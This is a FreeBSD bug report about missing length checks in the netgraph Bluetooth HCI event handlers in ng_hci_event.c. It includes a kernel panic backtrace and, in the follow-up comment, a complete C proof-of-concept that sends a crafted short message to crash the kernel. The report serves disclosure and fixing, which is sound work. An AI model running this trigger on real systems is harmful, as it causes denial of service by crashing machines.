Bug 267294 - inquiry_result() in ng_hci_event.c ought to check before calling m_copydata()
Summary: inquiry_result() in ng_hci_event.c ought to check before calling m_copydata()
Status: New
Alias: None
Product: Base System
Classification: Unclassified
Component: kern (show other bugs)
Version: CURRENT
Hardware: Any Any
: --- Affects Some People
Assignee: freebsd-bugs (Nobody)
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2022-10-23 17:05 UTC by Robert Morris
Modified: 2022-11-01 13:41 UTC (History)
1 user (show)

See Also:


Attachments
trigger an m_copydata() panic in ng_hci_event.c (988 bytes, text/plain)
2022-10-23 17:05 UTC, Robert Morris
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Robert Morris 2022-10-23 17:05:15 UTC
Created attachment 237561 [details]
trigger an m_copydata() panic in ng_hci_event.c

If a netgraph data message arriving on a bluetooth hci drv hook is short,
inquiry_result() can trigger a panic in m_copydata():

inquiry_result(ng_hci_unit_p unit, struct mbuf *event)
{
        ng_hci_inquiry_result_ep        *ep = NULL;
        ...;
        ep = mtod(event, ng_hci_inquiry_result_ep *);
        ...;
        for (; ep->num_responses > 0; ep->num_responses --) {
                m_copydata(event, 0, sizeof(bdaddr), (caddr_t) &bdaddr);

And (as noted in a comment in the code) later in this function there
are some more uses of the mbuf that are invalid if the message is too
short.

I've attached a demo:

# cc ng13a.c -lnetgraph
# ./a.out
panic: m_copydata, length > size of mbuf chain
cpuid = 2
time = 1666543254
KDB: stack backtrace:
db_trace_self_wrapper() at db_trace_self_wrapper+0x2b/frame 0xfffffe0049bb6910
vpanic() at vpanic+0x151/frame 0xfffffe0049bb6960
panic() at panic+0x43/frame 0xfffffe0049bb69c0
m_copydata() at m_copydata+0x1ca/frame 0xfffffe0049bb6a40
ng_hci_process_event() at ng_hci_process_event+0x923/frame 0xfffffe0049bb6a90
ng_apply_item() at ng_apply_item+0x166/frame 0xfffffe0049bb6b20
ng_snd_item() at ng_snd_item+0x2e1/frame 0xfffffe0049bb6b60
ngd_send() at ngd_send+0x10b/frame 0xfffffe0049bb6be0
sosend_generic() at sosend_generic+0x61a/frame 0xfffffe0049bb6ca0
sosend() at sosend+0x49/frame 0xfffffe0049bb6cd0
kern_sendit() at kern_sendit+0x1b3/frame 0xfffffe0049bb6d60
sendit() at sendit+0xba/frame 0xfffffe0049bb6db0
sys_sendto() at sys_sendto+0x4d/frame 0xfffffe0049bb6e00
amd64_syscall() at amd64_syscall+0x12e/frame 0xfffffe0049bb6f30
fast_syscall_common() at fast_syscall_common+0xf8/frame 0xfffffe0049bb6f30
--- syscall (133, FreeBSD ELF64, sys_sendto), rip = 0x8229075ca, rsp = 0x820a21068, rbp = 0x820a210d0 ---

FreeBSD stock14 14.0-CURRENT FreeBSD 14.0-CURRENT #3 main-n258027-c9baa974717a: Thu Sep 15 20:02:51 AST 2022     root@stock14:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
Comment 1 Robert Morris 2022-10-26 21:28:58 UTC
The m_copydata() calls in num_compl_pkts() in ng_hci_evnt.c can also
panic. Here's a demo program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <netgraph/ng_message.h>
#include <netgraph/ng_socket.h>
#include <netgraph.h>

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);
  signal(SIGPIPE, SIG_IGN);

  system("kldload netgraph");
  system("kldload ng_hci");

  int cs = -1;
  int ds = -1;
  NgMkSockNode(NULL, &cs, &ds);

  struct ngm_mkpeer mkp;
  memset(&mkp, 0, sizeof(mkp));
  strcpy(mkp.type, "hci");
  strcpy(mkp.ourhook, "hook");
  strcpy(mkp.peerhook, "drv");

  if (NgSendMsg(cs, ".:", NGM_GENERIC_COOKIE,
                NGM_MKPEER, &mkp, sizeof(mkp)) < 0) {
    fprintf(stderr, "netgraph mkpeer %s %s failed\n", mkp.type, mkp.peerhook);
  }

  char buf[128];
  memset(buf, 0xff, sizeof(buf));
  *(long long *)(buf + 0) ^= 0xecfb;
  NgSendData(ds, "hook", (unsigned char *)buf, 116);
}